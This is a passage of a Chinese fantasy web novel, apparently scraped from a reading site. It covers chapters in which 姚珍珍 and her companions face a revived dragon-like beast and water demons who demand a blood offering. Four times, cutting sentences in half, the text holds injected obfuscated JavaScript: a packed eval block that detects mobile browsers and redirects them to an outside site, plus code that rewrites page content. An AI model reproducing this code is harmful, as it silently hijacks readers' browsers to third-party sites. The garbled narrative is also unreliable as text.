姚珍珍低头看着瘫软在地上的女孩,再一次仔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13064383|133989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 细地打量起她的眉眼来。 “岳掌门……我上次见他时,他的夫人正有孕,”似乎是心理作用,她竟真的从女孩的脸上找到一丝故人的轮廓,姚珍珍语气因此更加沉郁,“岳小公子也曾被送来鸣麓山求学……” 她的话语终结于一声深深的叹息。 燕鸣臻适时地靠近,伸手环住了姚珍珍的肩。 “岳公子的遗体已经由明砚宗收敛妥当,归乡入葬了。至于岳婉容……”青年低下头,漆黑长发如瀑般散开,将女子笼住,他声音低沉地响起在姚珍珍耳边,“通神金冠虽然邪异,但并非不可逆转。” “珍珍,墨展宗内,如今不就有一个现成的例子么?” “可她如今被人夺舍,即使像阿尚一样,最终救回来的到底是岳姑娘,还是净莲教的妖女呢……” 姚珍珍心头忽然涌上了一阵深深的无力感。 那感觉并不陌生。 曾经在南纤洲,在故曲黄崖,在连杀山……她已经不是第一次察觉自己的无能为力。 无论宝剑如何锋利,世上也总有无法靠杀戮解决的东西。 她抬起头,向后半步,脑袋很自然的后仰靠在了青年的胸膛上,放松身体任由对方揽住自己。 “我们接下来该怎么办?”这种相处的方式实在是过于熟悉,即使情况依旧复杂,但姚珍珍已经习惯于将思考的任务交给她那心思缜密的爱侣。 “累了吗?”燕鸣臻低头,下颌轻轻抵住她的发顶,“岳婉容的情况暂不紧急,只需将她送出秘境医治即可。” “至于陆公子,”他的目光扫过漆黑的水潭,“天心阁内有一只青鸟,我派人借来一用便是。” “只是不知被魔修掳走这几日他是否还受了其他伤害,黎司药已经在来的路上……” “对了。” 从离开云舟开始,姚珍珍便几乎是一直不眠不休地熬到现在,即使只是神魂状态,也不免感到疲乏。脑袋空空的听了燕鸣臻一连串的安排,她目光呆滞的连连点头,一副悉听尊便的懒散样子,直到听见燕鸣臻提起黎氏的那个司药官,这才强打起两分精神出言打断。 “黎……”她开口,却一时忘了那位小公子的名字。 “黎金铃,”燕鸣臻伸手,柔软指尖抵上女子额旁太阳穴,力度适中地按压起来,“他是我母亲那边的血脉,天生的''神无目'',可透视神魂。” 不等姚珍珍开口,他极其体贴地接着说了下去。 “那日他为你开了一支并蒂金莲,想来也是看出了你与这位,”他看了一眼依然沉默的站在一边的白郁湄,“白姑娘,如今共用一具身体,一体双魂的缘故。” “不过黎司药虽然日常行事恣意狂放,但于大事上从不出纰漏,此事隐秘,他懂得如何守口如瓶。” “好,我明白了,”随着身后青年的按摩,姚珍珍忍不住半眯起了眼睛,“还有一事……鸣臻,当日在汤容林府上,你身边跟着的影侍里,有应滕的细作。” 青年纤长的手指停顿了一下。 33. 水妖 “……原来如此。” “我不知道应滕是用了何种办法,能让早已死去的人重新活过来,”姚珍珍已经完全闭上了眼睛没有注意到燕鸣臻脸上如释重负的表情,她自顾自地接着说道,“我在玄机处见了第一个,吓了一跳,之后在老汤、呃,汤容林的府邸上又见到一个。” “然后就是你派过来的那个影侍,”姚珍珍手指挠了挠脸,颇觉几分心虚,“他被应滕种下了心蛊,当时情况紧急,我只能先动手灭口……” 青年忽然笑了一声。 “珍珍,”他低下头,似乎是觉得怀中女子十分可怜可爱,忍不住伸出手去抚摩她的侧脸,“影侍都是皇家死士,其中混入细作,本是我御下失职的缘故。” “你不用为此感到负担。” “不,我不是为杀人而负担,”姚珍珍忍不住咬了下嘴唇,蹙起眉头,“……或许可能有一点吧,但我要说的不是这个。” “鸣臻,昭华城内外如今到处是应滕的安插的棋子。一旦他发现剑宗内的''姚珍珍''只是一个傀儡……” “……他会毫无顾忌的开始一次屠杀。”燕鸣臻替她补充了后半句话。 一边正安静旁听的白郁湄脸色顿时一白。 “应滕……”她惴惴不安地念出这个名字,“他是如何做到同时控制如此多的子蛊的……?” 姚珍珍这才忽然反应过来身边还有个白郁湄,赶忙悄悄站直了些,不动声色地将燕鸣臻的手从自己肩头挣脱了下去。 “心蛊本是他所创的秘术,若非亲眼所见,我也不会相信世上竟然真有如此邪异的术法,”姚珍珍摇了摇头,“而且说实话,我如今寄居在他人身体中……恐怕并不是他的一合之敌。” “我本是想让阿尚卖个破绽,诱得应滕现身,再伺机杀了他,”姚珍珍伸手盖住了额头,终于察觉到自己的计划实在简陋,“是我想得太简单了。” 另一只手覆盖住了她的手背,纤长有力的手指挤进了她的指缝间,握住了她的右手。 “那我们倒是不谋而合了,”燕鸣臻带着笑意的声音传进她耳中,“自你离开后,应滕手下魔修便一直蠢蠢欲动,各仙门弹压不止,祸从四起。” “珍珍,这次仙试,本就是针对应滕的一次围杀。” *** 剧烈的地动只持续了很短的一段时间,但已足够将这间石室变作一座废墟。 好在石室内的大部分人都及时地逃到了相对安全的室外空间中。 陈谦惊魂未定的抬手擦去额间渗出的汗珠,一边回过头看向已经被落石掩埋的废墟。 “他们……”他迟疑道。 “别看了,那些都是皇家死士,命令永远优于生死。”盛彤拍了拍他的肩膀,开口说道。 这群少年少女不免沉默唏嘘——当时情况紧急,所有人都忙着逃生,除了那些被燕鸣臻留下的影卫。 他们依然守在那些秘境的出入口前,直到垮塌的穹顶将一切淹没。 “别放松,拿好你们的武器。”就在这群人尤在唏嘘感叹时,林羽觞却忽然开口。 他将手中长剑横过身前,上半身微微前倾,警惕地看着废墟的方向。 林羽觞的本命剑剑身不似寻常剑刃一般由金属铸就,而是覆盖着一层暗沉的骨质层,剑身两侧的刃口也并不锋利,而是由不规则的钝状骨刺组成。 此刻这柄骨质重剑正被握在主人的掌心中,剑身尤自震颤不止,仿佛是兴奋,又仿佛恐惧。 “恨骨……”姚淼淼的目光落在林羽觞手中长剑上,面色一变,“恨骨是大妖遗骨所铸之剑,能让它反应如此剧烈,必是妖物现世,都退后!” 她一边说话,一边抬手捏诀,柔软灵剑随即应召而来,落进她未受伤的右手中。 她的话音刚落,“轰隆隆”的巨响几乎是立时响起,一颗硕大的妖兽头颅从废墟中撞出,一下便冲破了地面的落石,朝着众人张开了血盆大口! 一阵极其腥臭的妖风扑面而来,“姚珍珍”忽然伸手,从脑后发髻中拔出一物,朝前狠狠一扔! 仿佛是沸水泼进了油锅中,朝着众人扑来的浓绿腥风与女子扔出的白玉钗在空中相遇,立刻发出一阵剧烈的噼啪响声,妖异的碧绿火焰随之燃起,眨眼间便在众人身前形成了一道火墙。 碧绿妖火只持续了不到数秒时间,随着最后一缕火焰熄灭,半空中白梅玉钗随之当啷一声落地,在众人的目光中碎成了几段。 眼前光源忽然消失,几个少年都忍不住眯起眼睛,努力看向那妖兽挣脱的方向。 ——就在几人的眼前,亮起了两轮澄黄的太阳。 不,那不是太阳,而是妖兽两只金黄的眼睛! 这条似蛇似蛟的妖兽个头极大,仅头颅便有方才众人所待的石室大小,竖起的兽瞳中流出冰冷的光芒。 刺耳的碰撞声响起,是林羽觞手中恨骨与那妖兽高高扬起的毒牙相撞,火花迸溅间,青年原本纯黑的眸子已化成与妖兽相似的金色兽瞳。 “走!”他艰难地从牙关中挤出一个字,双手虎口随即撕裂,血液顺着手腕一滴滴淌下来。 “姚珍珍”蹲下了身,抬手一甩衣袖,几枚绿莹莹的长钉规律地扎进地面,搭出了一个简易的法阵雏形。 她伸手在腰间储物囊中寻找灵材,余光中看见那些半大少年还傻站在原地,不由得勃然大怒。 “滚!还在这里是想找死?!” “师……师姐,那些……那些是什么?”陈谦颤抖地说道,他的手指向众人身后。 ——定流坡下汹涌水流中,不知何时浮起了一张张惨白的面孔。 相似的深绿长发与金色瞳孔,不同的妖冶风情——是水妖们。 姚淼淼紧绷的面孔微不可察的放松了一些。 “是泗水河内的水妖,”她转头朝“姚珍珍”说话,又回过头朝向几个少年人,“他们不是敌人,离开这里,快!” 转瞬间,“姚珍珍”已将数十种灵材钉入法阵中,她伸手按住阵眼,灵光随着掌下花纹次 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13102324|133989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 第亮起。 “林羽觞!”她厉声道。 青年额间青筋乍起,喉间发出一声不似人声的咆哮,手中长剑竟顶着妖兽的獠牙生生向前刺了半存! 恨骨的剑身发出一阵令人牙酸的声响,让人简直要怀疑它是否要就此折断。 “姚珍珍”掌下阵法迅速扩展开,“嗡”的一声,五道灵光从法阵不同方向亮起刺出,几乎是同时贯穿了眼前妖兽的头颅! ——剑宗鸣麓山,山主清和真人所创囚锁剑阵,此刻仅差最后一道灵锁! 妖兽吃痛发出一声嘶吼。 “噗嗤!”林羽觞双手握住剑柄,最后贯穿了妖兽怒睁的左眼。 剑阵已成。 污浊腥臭的妖血喷薄而出,将他浑身浇得湿透,带有腐蚀性的液体在他身上烧出阵阵令人牙酸的“噗噗”声响。 “林师兄!”见此情景,正打算离开的陈谦不由得惊呼出声。 “啊啊啊!”他的身后却传来另一道惊叫。 陈谦赫然转头,却看见一只身材高大健硕的水妖从河水中探出了上身。 他张开的蹼爪中,女子惊恐的面容正与众人对视。 “你们……要做什么?!”盛彤被水妖一手扼住了咽喉,冰凉的触感抵住了她娇嫩的咽喉肌肤。 她知道那是水妖蹼爪中隐藏的毒刺,其中的毒素只需要一点便可以毒死一整个村落的普通人。 她不敢乱动头颅,只能张嘴呼救。 “我、我们,”那个身材比同类明显健硕许多的男性水妖似乎是许久未曾说过人类的语言,咽喉中发出一阵古怪的声音,努力了许久才发出几个音节奇怪的词汇,“要、血。” “我们、要血。” “给我们、血,送、你们离开。” “你们要什么血?”眼见那边三人还在与妖兽僵持不下,陈谦咬紧牙关,恶狠狠地问道。 “血、化形的、血,”水妖歪了歪脑袋,另一只指间长着蹼的手指向陈谦身后三人,“繁衍、血、给我。” 陈谦顿时睁大了眼睛。 “你们要那个妖兽的血?”他不可置信道,“为什……” 他的话忽然停住。 ——“据说那一年泗水河中多出不少修得人身的水妖,皆是拜这三日的龙血洗涤所致。” ——“那些水妖得了我们师姐莫大的恩德,自是感恩戴德,合力在那河水中为她修了一座金身……” “你们……你们是当年泗水河里的那些……”他声音颤抖起来。 “妖族,永远是如此贪得无厌,”姚淼淼不知何时来到了陈谦身后,目露厌憎地望着坡下一众水妖。 “睁大你们的眼睛看清楚了,那根本不是当年那条恶蛟。”她冷声道,伸手一指。 妖兽头颅被阵法锁住,身躯却依然挣扎不休,蛇状躯干背后竟长着一对畸形无毛的肉翅,此刻正随着身躯扭动而不断拍打着地面。 “一条邪术拼接而成的赝品,你们吃了也不怕断子绝孙?” 34. 血饲 被她用“断子绝孙”一词诅咒的男性水妖却不见恼怒,只是疑惑的歪了歪脑袋,仔细地上下打量着眼前这个红衣的人族。 水妖俊美得几乎妖异的面容上突然露出一点恍然大悟的神色,脸边尖锐的耳鳍随着主人的动作而微微张开,仿佛两只开合的扇子。 “你是、”水妖看上去认出了她的面孔,神色颇为兴奋,只是话说了一半又变成了谁也听不懂的妖族语言,叽里咕噜的一大串,仿佛在歌唱。 坡顶众人都是一脸莫名,不知道这些异族究竟是何意。 “他要的不是妖兽的血。”众人身后林羽觞却忽然开口。 法阵内妖兽依然挣扎不休,他一只手还握着恨骨的剑柄,浑身滴汤挂水的不知是自己还是妖兽的血,一边朝着众人的方向回过头来。 “他要的是师姐的血。”他说。 一阵同样复杂晦涩的发音从他口中传出,身材高大的水妖眼神顿时一亮,听懂了似的对着他拼命点头。 姚淼淼的脸色顿时一变。 “师姐的血?”她不由得回头看了一眼身后的“姚珍珍”——对方回视了他一个同样茫然的眼神。 “他说,师姐曾与他们定下契约。”林羽觞眉头紧锁,为另外两人转述着河中水妖们的话语。 “契约许诺每隔三年便为他们提供一次血饲,但距离上一次血饲已有八年,他们的族群已经无法继续繁衍,只能回到泗水河中休养。” “他们要求人族立刻兑现诺言。” 林羽觞的话音落下,几人皆是沉默。 谁也不知道姚珍珍曾与水妖族群建立过此等契约,如今盛彤的性命还悬在对方掌中,他们也无法贸然毁约。 可若要的是姚珍珍的血……这里只有一个冒牌的傀儡,要从何处取血? 不,不是没有的。 姚淼淼忽然回过了头,望向仍然半蹲在地上的少女。 这具肉傀儡是用姚珍珍的心头血培育而成的,体内的确有她的血! “师姐!”姚淼淼焦急地喊出了声,她想说你不必理会这些妖族,此处动静如此剧烈,玄机处即刻便到,不值得为此损伤心血。 但她动作还是慢了一步。 少女一手还按在地面阵纹中,另一手却已抬起,将一支玉质长钉遥遥掷出,向着坡下河水而去。 翠玉制成的长钉内部中空,正是一支采血的灵器,如今那中空的长钉中,已汲满了从傀儡心脏中取出的鲜血。 “血饲已成,”少女的脸色苍白如纸,显然是元气大伤,“让他们离开。” 她话还未说完,河中水妖已迫不及待地弓起长尾,猛地弹射起来,在坡上几个少年的惊呼声中,朝着玉钉方向飞去! “咔嚓”一声,玉质长钉被他在半空中生生咬碎! 水妖张开的嘴中露出两排尖锐的獠牙,灵活的长长肉舌伸出,破碎的玉料混合着殷红血液被他一丝不剩地吞食入腹中。 几乎是肉眼可见的,他下半身粗壮的鱼尾上,那些原本黯淡破碎的鳞片开始蠕动着愈合。 “哗啦”一声,他重新落回了河水中,水中等待许久的其他水妖近乎疯狂地涌向首领的方向,他们脸上是相似的狂热与饥渴神色,张开的嘴中露出满嘴獠牙。 “噗嗤”,是最先赶到的水妖张开了嘴,咬在了那条高大的男性水妖的腰部。淡蓝的血丝顺着伤口逸散在冰冷的河水中,又很快被身后其他水妖用蹼爪小心的拢起,贪婪地吞入口中。 盛彤被陈谦拉着手臂爬回岸上时,回头看见的便是河水中众水妖争相分食首领的场景。 她面色一白,险些脚一滑又跌回水中去。 “这是……”女孩颤抖的手指指向河中心的方向,“他们这是在做什么?” 陈谦的脸色同样凝重,他脱下身上外套,给全身湿透的女子披上,一边摇了摇头,低声说道: “我……我也不知,”他回头看了一眼还在支撑阵法的两人,握住长剑的手背青筋暴起,“寻常所见水妖皆是性情温和亲人,不曾有如此暴戾凶残……” “陈兄!他们早不是寻常水妖了!”蓝胡云大声道,“你看见那首领的鱼尾了吗?我不知他是否混血,但这个形状与鳞片……” 他一指阵法中被困住却仍在咆哮挣扎的蛇状妖兽。 “各位不觉得相似吗?” 这位烛魇派出身的弟子再次转头看向“姚珍珍”,似乎还想开口,脖颈后却忽然一凉。 一阵尖锐的刺痛传来,他回头,张开嘴,但什么也没来得及说便软倒了下去。 姚淼淼站在她身后,收回了手,眼神冰冷的望向噤若寒蝉的众人。 “陈谦。”她的声音比眼神更加冰冷,陈谦打了个激灵,条件反射的站了起来。 “带他们走陆路,离开定流坡,去鲤乐馆找楚无余,”她垂下手腕,敛起指间一缕金色闪光,“告诉他……” “定流坡恶蛟再现,带上巨阙前来支援。” “我会在这里,与师姐和林师弟一起。” 女子转过身,单手抓起腰间一块古朴玉佩,耀眼灵光亮起,一张七弦古琴凭空出现在她怀中。 姚淼淼盘膝坐下,双手悬于琴弦上空轻轻抚过。 “我为你们开路,走!” “噔!”她手指勾住琴弦,第一声琴音响起。 定流坡下奔涌不息的河水仿佛都停滞了一瞬间! 目露 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13122714|133989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 餍足之色的水妖们惊疑不定地抬头看向坡顶席地而坐的抚琴女子,戒备地张开了嘴。 姚淼淼却已不再有精力关注外物了。 龙骨琴是非常霸道的灵器,它被奏响时决不允许演奏者分神,她此刻一举一动都如刀上舞。 琴声阵阵,坡底河水如受刺激般翻涌着向两边退去,为几人留出一条浅浅的通路来。 来时的船只早已不知所踪,陈谦当机立断背起昏迷的蓝胡云,向着河底走去。 “我走前面,圆圆,你在中间,”他沉声道,“李兄,烦请你殿后。” 他们踏过依然潮湿的河堤,向着昭华城的方向匆匆而去。 河水中,进食完毕的水妖们恢复了往日的活力,四散开来潜入水中,只在水面上露出半颗头颅,一双双眼睛望向坡顶抚琴的女人。 姚淼淼纤长的手指灵活的滑过琴弦,琴音逐渐由急转缓,受琴音控制的河水也随之逐渐平和。 “你的琴,弹得很好。” 水妖歌唱般的声音忽然响起。 姚淼淼猛地抬头,发现那被族群分食的水妖头领竟然没死,此刻正从水中人立起来。 他雕塑般完美的上身被同类啃食得伤痕累累,四处可见斑驳的血肉与底下露出的白色骨骼,水藻般的长发顺着宽厚的背肌垂下,遮住了底下正蠕动着愈合的伤口。 水妖好像完全感受不到痛苦一般,再次摆动起破碎的鱼尾,靠近了定流坡的坡顶。 “我听过你的琴,”他的语言功能似乎随着血饲完成而恢复了,开口说话时不再是晦涩难懂的连串音节,而是流畅的人族语言,“和那时一样好听。” 姚淼淼皱起了眉头,她想收回视线,但水妖动人的嗓音足以让人心智溃乱,即使只是无心的赞美,也让她抚琴的动作停滞了一瞬间。 龙骨琴当即发出一声刺耳至极的巨响,接着是一声脆烈的琴弦崩断声! “啪!” 姚淼淼立刻收回手,望见了自己指尖一道深可见骨伤口。 她猛然抬头,看见远处陈谦已带着众人离开泗水河的范围,心下顿时一松。 虽然龙骨琴因此断去一弦,但既然开路的目的已达到,便也不算太亏…… “淼——” 耳边忽然传来急促的呼喊。 好像是林羽觞的声音,怎么了? 姚淼淼抬起头,看见妖兽仅剩下的那只金瞳正悬在自己头顶,冰冷地俯视着自己。 雷鸣般的声音从它张开的巨口中传出。 “是你……抽走了我的龙筋,还将它制成了法器。” 它张开嘴,朝着姚淼淼咬下。 “今日,便连你的命一起,还给我!” 35. 孽龙 时间在这一刻仿佛被拉长了。 姚淼淼清晰的看见头顶妖兽张开的的巨口中,浑浊的浓稠涎液顺着腐烂的分叉蛇信滴下,“呲啦”一声,坚实的地面顿时被腐蚀出一个焦黑的深坑。 动,动起来!快动起来!逃走啊! 她的脑中疯狂响起警报,身体却仿佛脱离了理智的控制,只能目眦欲裂地看着妖兽巨口向着自己落下。 人在最无助的时候会向谁求助? 姚淼淼从出生起便没见过母亲,父亲只是不甚亲近的冰冷背影,亲缘淡漠如此,因此在生死存亡的时刻,即使知道得不到回应,她最先想起的还是那个人。 “师姐……” 她被吓得腿软无法逃脱,手指却还不甘心的伸向龙骨琴的下方——中空的琴身下暗匣内,放着一柄半个手臂长的匕首。 下一秒,巨石崩裂,这不知是嫁接了何种血脉的妖兽一口咬下了整块地面,昂首直接吞入腹中! 预想之中的剧痛并未传来,姚淼淼感到腰间传来一阵巨力,她惊呼一声,不由自主的随之倒飞出去—— 耳畔传来一声嘶声尖叫,她忽然反应了过来。 这声音……是水妖! 女子低头,看见自己腰间缠着一条粗壮的鱼尾,深蓝的鱼尾上还留着不少被撕扯吞食的伤口,肌肉贲张时鳞片开合,反射出绚烂的彩光。 “你死了的话,”身后传来胸膛震动的触感,是水妖正在说话,“母亲会伤心。” 千钧一发之际,是水妖用鱼尾卷着姚淼淼躲开了妖兽的噬咬。 他以极快的速度裹挟着姚淼淼退回了泗水河中,一边警惕地注视着一击落空,再次向着他们转过头的妖兽。 “咳咳!等等!”姚淼淼在惊吓中呛了水,发出一阵撕心裂肺的咳嗽声,“我还不能离开!” “可是你打不过它,我也打不过它。”水妖松开鱼尾,一手张开蹼爪抓住了她的衣领,好让她不至于再次溺水。 “我不知道它为什么会活过来……”水妖的语气充满疑惑,“你是母亲重要的朋友。” “你要逃走,去找母亲来。” “她能杀死它一次,就能杀它第二次。” 此时此刻,即便是再迟钝的人也能反应过来,这群水妖口中的“母亲”指代的究竟是何人了。 “师姐何时会有……”姚淼淼一脸错愕的开口,却又很快停住话语。 她想起刚刚林羽觞所提起的那份无人知晓的血饲之约,脸上不免笼上一层阴霾。 只是此时不是争论旧事的时候,她咬咬牙,握紧了手中匕首。 “不,我要留下。你自求生路去吧。” 定流坡上似蛟若龙的恶兽仅剩的一只眼睛缓慢转动了一下,锁定了水中的二人。 雷鸣般的嘶吼声再次响起,妖兽硕大的尾部在地面上拖行出深深的沟壑。 它的身体扭曲盘成“之”字形——那是一个蓄力迸发的姿态。 姚淼淼看见身边水妖几乎同时弓起了鱼尾,露出满嘴獠牙,脸颊边耳鳍怒张开来。 这是一个恐吓的姿态,但显然效果有限,妖兽澄亮的瞳孔依然紧盯着姚淼淼,似乎下定决心要先咬死这个背着龙骨琴的女人。 杀了她,夺回你失去的一切! 刻骨的恨与痛灌满了它冰冷腐朽的身体,让它无法思考其他,只剩了唯一的念头。 “喂!” 忽然有人在它的身后大喊了一声。 “重活一次,你是把脑子和眼珠子一起落在阴间了吗?” 少女的声音突兀的响起在它身后。 姚淼淼看见了站在一起的另外两人,方才一番动作掀起的巨浪浇透了二人的衣衫,林羽觞单手撑着长剑,目光与她遥遥相望。 阵法被破,“姚珍珍”显然受了反噬,姚淼淼看见她掩在衣袖下的右手手腕正以一个不自然的姿势垂下。 但她的声音中并无一丝羸弱,术法加持下,少女的嗓音清晰地传入妖兽已经接近朽坏的耳中。 “当日将你开膛破肚、扒皮抽筋的人是我!”姚珍珍……不,巫尚脸上露出一个充满嘲弄的笑容。 “怎么,不敢向我寻仇,怕再受一次蜕鳞抽骨之苦么?” *** “陛下!” 阴沉昏暗的室内,男子双手双膝皆紧贴地,头颅也深深埋下,做出一个五体投地的顺服姿态。 只是他说的话却并不如何驯顺。 “陛下!定流坡那孽龙本是为吾儿所作!”男子抬起头,露出的面孔上,双目所在之处,竟是一对血淋淋的空洞。 这被剜了双眼的男子再度低头,前额在地面上磕出重重一声响动。 “如今孽龙尚未驯服,怎地就如此放出?” “若孽龙再度被人斩杀,吾儿便再无复生的可能了……” “陛下!我愿为您肝脑涂地,求您网开一面,为吾儿留下一线生机……” 男子张口哀求,字字恳切,声声惋惜,情真意切,叫人闻之落泪。 只可惜被他哀求之人是个天生无心无情的恶种,平生最爱以他人苦痛为乐。 室内摆着的琉璃灯盏上,浮动的火焰轻轻颤抖了一下,焰色由黄转青,给整个屋内镀上了一层诡谲的浮光。 一只修长白皙的手从厚重的袖口中伸出,轻轻落在了男子的头顶上。 “很吵。”黑发的青年掀开眼皮,露出一双冰冷的褐色瞳孔。 青年的面孔看上去十分年轻,五官生得俊秀,即使是不笑时脸颊边也有两个天生的小小笑涡,为整张脸添上几分喜色。 若是不知情的人,一眼望上去,定然会觉得他十分可亲。 被他单手抚摩头顶的男子却忽然浑身开始颤抖起来,他想抬起头,可头顶单薄的手掌此刻仿佛有万钧之重,让他仿佛拼尽全力也无法动弹…… ——他的灵魂仿佛与身体突然失去了联系,任凭他如何惊骇欲绝,都无法对这具肉|体产生任何影响。 青年像抚摸某些毛绒绒的小动物一样,随手将男子头顶发髻揉乱。 “安静点。”他收回手,忽然一脚踢在男人肩头,将他踹得一下倒翻过去——仍然是四肢并拢的五体投地姿势,只是背部着地。 男人的身体仿佛僵死了,四肢蜷缩着躺在地上,看上去就像个被翻了壳的乌龟。 这幅滑稽的样子成功把青年逗笑了,他扯起嘴角发出几声嘻嘻哈哈的笑声,但很快又被咳嗽声给压过去。 “哈哈哈……咳!咳咳咳!” 他捂住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13145041|133989||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘴,从眼角到额间皆是因为咳嗽而凸起的青筋,瞧着十分狰狞。 好容易平复下来,青年嘴角立刻耷拉了下去。 他低头俯视了一会儿地上男子惊惧悔恨的眼神,兴致缺缺的抬手一打响指。 “他那么关心他儿子,那就送他们团聚。” 黑发青年……或者说,应滕,随口吩咐道。 短短一句话决定了男子的生死,他失去了继续小憩的兴趣。回身斜倚在榻上,半垂着眼睛看着自己的手心。 青年白皙修长的指间生着许多薄茧,右手掌心中,一道纵贯伤疤竖着贯穿了整个手掌,将原本的掌纹切割得七零八落。 “斩恶龙……哼,”他冷笑一声,“让我瞧瞧,你如今可还有当年的几分实力?” *** “秘境的出口,刚才忽然封闭了。”燕鸣臻忽然开口说道。 他此时正与姚珍珍、白郁湄两人行走于洞穴内唯一一条出路上。 方才两人在洞内水潭边制服了那个来历不明的净莲教妖女,一番商议后决定离开秘境再做打算。 ——姚珍珍本来想着,人既已寻到,就地撕裂秘境脱离便可。 但如今所见如此一潭弱水,贸然撕裂秘境,恐使其动荡,影响尤未可知。 燕鸣臻便建议三人先去寻找既定的秘境出口离开,之后再做打算。 “正好,一路沿途,我们也可多交换些情报。”姚珍珍同意了。 白郁湄是唯她马首是瞻的,自然没有反对的意见,于是三人将那女孩捆在了洞中一处钟乳石柱上,转身便一同走向出口。 只是还没走出多远,燕鸣臻脸上却忽然一变。 “出口业已封死,”他抬手,掌中微型法阵亮起明灭光芒,映照出青年紧锁的眉目,“外面出事了。” 姚珍珍的阵法造诣只够她使用一些简单的阵纹,像是武试秘境这种极其复杂的多层法阵,她的目光只在燕鸣臻掌中一扫而过,没有不自量力的想去看懂的意思。 “三个秘境的出口都封死了吗?或许我们可以从另外两重秘境出口离开?” 话一出口她就感觉自己问了个傻问题——燕鸣臻是秘境的半个创建者,他既然说了出口封死,那就必然没有其他出路,自己这一问,倒反而像是不相信对方的能力。 “呃,算了,你当我没问过吧。”她挠了挠脸颊。 燕鸣臻却并不因为她的质疑而展现任何负面情感,他只是轻轻叹气。 “珍珍……我本想与你再多相处一会儿的。”青年的语气饱含惋惜,眼睫如羽扇般微垂,眼波流转着潋滟水光。 姚珍珍顿时心软的一塌糊涂,险些色令智昏,开口说出诸如不出去了之类的昏话来。 还是白郁湄开口,打断了两人之间的腻歪。 “姐姐,若是外面出事,那留在出口的陈公子他们……” 姚珍珍顿时一个激灵,清醒了过来。 虽然时常觉得陈谦殷勤过分,但他拜在剑宗门下,又的确天资不菲,另有那几个小朋友……若是出了意外,实在令人惋惜。 “走,”她不再啰嗦,双手伸出,一手拽着一个,拉着二人快步走向出口,“我们找个离这里远些的地方。” “我来撕开这处秘境。” 36. 止杀 很安静。 鹿慈躺在冰凉的石面上,睁眼望着剑冢内永远静止的天穹。四下皆是旷野,连一丝风声也无,一切都像是静止的。 ……他已经很久没有体会过这种安静了。 上一次这样安静,是什么时候呢?鹿慈极慢地眨了一下眼睛,努力回想起来。 啊,记起来了,是他上次死掉的时候。 鹿慈这辈子,从出生开始便是全然的悲剧与痛苦。 他为了活下去抛弃了许多,人格与尊严都只是生存的筹码; 他也曾为了活得不那么痛苦而杀人,在他人的惨叫与哀求中获得短暂的满足与平静。 算来算去,真正愿意在他跌进地狱时还伸手的人,也只有那一个而已。 可他是如何回报对方的呢?他诱骗她进入连杀山深处,还将涂了银珠毒的匕首刺进了她的后心。 那柄血剑刺进他的胸膛的时候,世界也是如此寂静。鹿慈本以为自己会得到永远的安眠,他以为自己能和她一同共赴黄泉…… 只可惜,这两个愿望哪一个都没有实现——死后不久,他便被应滕重新拉回人间,忍受这名为活着的刑罚。 而她……她竟然活着走出了连杀山。 鹿慈脑海中再次浮现出女子俯视自己时,那冰冷的眼神。 他忍不住发出一声苦笑。 “笑什么呢?”一道熟悉的声音忽然开口道。 鹿慈猛然扭过头,看见他方才还在想着的人正单手叉腰,转过头来。 姚珍珍看着被困在剑阵中的少年脸上忽然露出一个如释重负般的解脱神色,一时莫名。 有燕鸣臻这个法阵主人襄助,他们当然不用苦哈哈地再从岩壁上爬回剑冢——通过临时构筑的浮光梯上行即可。 只是谁也没想到白郁湄竟然还有恐高的毛病,往下跳的时候不发作,偏偏是上行时晕得不行,姚珍珍只好蒙住她的眼睛拉着她一步步往上走。 ——秘境构筑毕竟不是搭建空中楼阁,幻境与现实定然有一定重叠,那一潭弱水若是真的藏在定流坡地底深处,那他们破开阵法的地方最好离那处越远越好。 姚珍珍不由得抬头望了望凝固的天空。 燕鸣臻一只手轻轻按住她的后脑,强行把她的视线转了回来。 